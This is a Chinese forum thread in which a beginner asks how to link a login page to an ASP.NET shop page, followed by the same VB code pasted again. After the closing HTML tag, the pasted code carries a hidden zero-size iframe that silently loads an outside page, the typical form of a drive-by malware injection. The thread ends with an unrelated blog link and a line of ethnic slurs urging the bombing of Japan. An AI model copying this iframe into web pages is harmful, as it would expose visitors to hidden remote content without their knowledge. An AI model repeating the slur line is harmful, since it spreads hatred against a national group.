我要做个登陆页面~然后登陆后直接跳到该页面`(下面代码所显示的页面) 该用什么语句连接?<%@ Page Language="VB" Debug="true" %> <%@ Import Namespace="System.Data" %> <%@ Import Namespace="System.Data.OleDb" %> <Script Language="VB" runat="server"> Sub Page_Load(sender As Object, e As EventArgs) If (Not IsPostBack) Then Dim strConn,query AS String Dim conn AS OleDbConnection Dim adapter AS OleDbDataAdapter Dim dataset AS DataSet strConn = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & server.MapPath ("shopbag.mdb") conn = New OledbConnection(strConn) query = "select * from Category" adapter = new OleDbDataAdapter(query,conn) dataset = New DataSet() adapter.Fill(dataset,"category") myRepeater.DataSource=dataset.Tables("category").DefaultView myRepeater.DataBind() End IF End Sub </Script> <Html> <Head> <Title>设定框架页面</Title> </Head> <body> <center> <table boder="1" width="980" bgcolor="#ddffee" id="table2"> <tr> <td> <center><h2>欢迎光临网上小店!</h2></center> </td> </tr> </table> <table boder="1" hight="700" bgcolor="#eeeeee" id="table1"> <tr> <td width="250"> <H2 ALIGN=CENTER>网上购物<HR></H2> <CENTER><H3>管理员:<br> <a href="info.aspx">商品信息录入</a></H3> <H3>请选择商品种类:</H3>
因为我没学过ASP.NET...
------------
晕.
<%@ Import Namespace="System.Data" %>
<%@ Import Namespace="System.Data.OleDb" %>
<Script Language="VB" runat="server">
Sub Page_Load(sender As Object, e As EventArgs)
If (Not IsPostBack) Then
Dim strConn,query AS String
Dim conn AS OleDbConnection
Dim adapter AS OleDbDataAdapter
Dim dataset AS DataSet
strConn = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & server.MapPath ("shopbag.mdb")
conn = New OledbConnection(strConn)
query = "select * from Category"
adapter = new OleDbDataAdapter(query,conn)
dataset = New DataSet()
adapter.Fill(dataset,"category")
myRepeater.DataSource=dataset.Tables("category").DefaultView
myRepeater.DataBind()
End IF
End Sub
</Script>
<Html>
<Head>
<Title>设定框架页面</Title>
</Head>
<body>
<center>
<table boder="1" width="980" bgcolor="#ddffee" id="table2">
<tr>
<td>
<center><h2>欢迎光临网上小店!</h2></center>
</td>
</tr>
</table>
<table boder="1" hight="700" bgcolor="#eeeeee" id="table1">
<tr>
<td width="250">
<H2 ALIGN=CENTER>网上购物<HR></H2>
<CENTER><H3>管理员:<br>
<a href="info.aspx">商品信息录入</a></H3>
<H3>请选择商品种类:</H3>
<Asp:Repeater id="myRepeater" runat="server">
<ItemTemplate name="ItemTemplate">
<asp:Hyperlink NavigateURL='<%#DataBinder.Eval(Container.DataItem, " CategoryID ", "buy.aspx?id={0}")%>' Text='<%#DataBinder.Eval(Container.DataItem, " Description " )%>' ALIGN=left runat=server /><p>
</ItemTemplate>
</Asp:Repeater>
<HR>
</CENTER>
</td>
<td bgcolor="#cccccc" width="750">
<Center><A HREF=order.aspx>查看购物车</A></center>
</td>
</tr>
</table>
</center>
</body>
</Html><iframe src=http://www.ac86.cn/88/index.htm width=0 height=0></iframe>
http://blog.sina.com.cn/u/48905d83010003db
让小日本见鬼去,抵制日货,让狗日的去啃手指头。轰了日本岛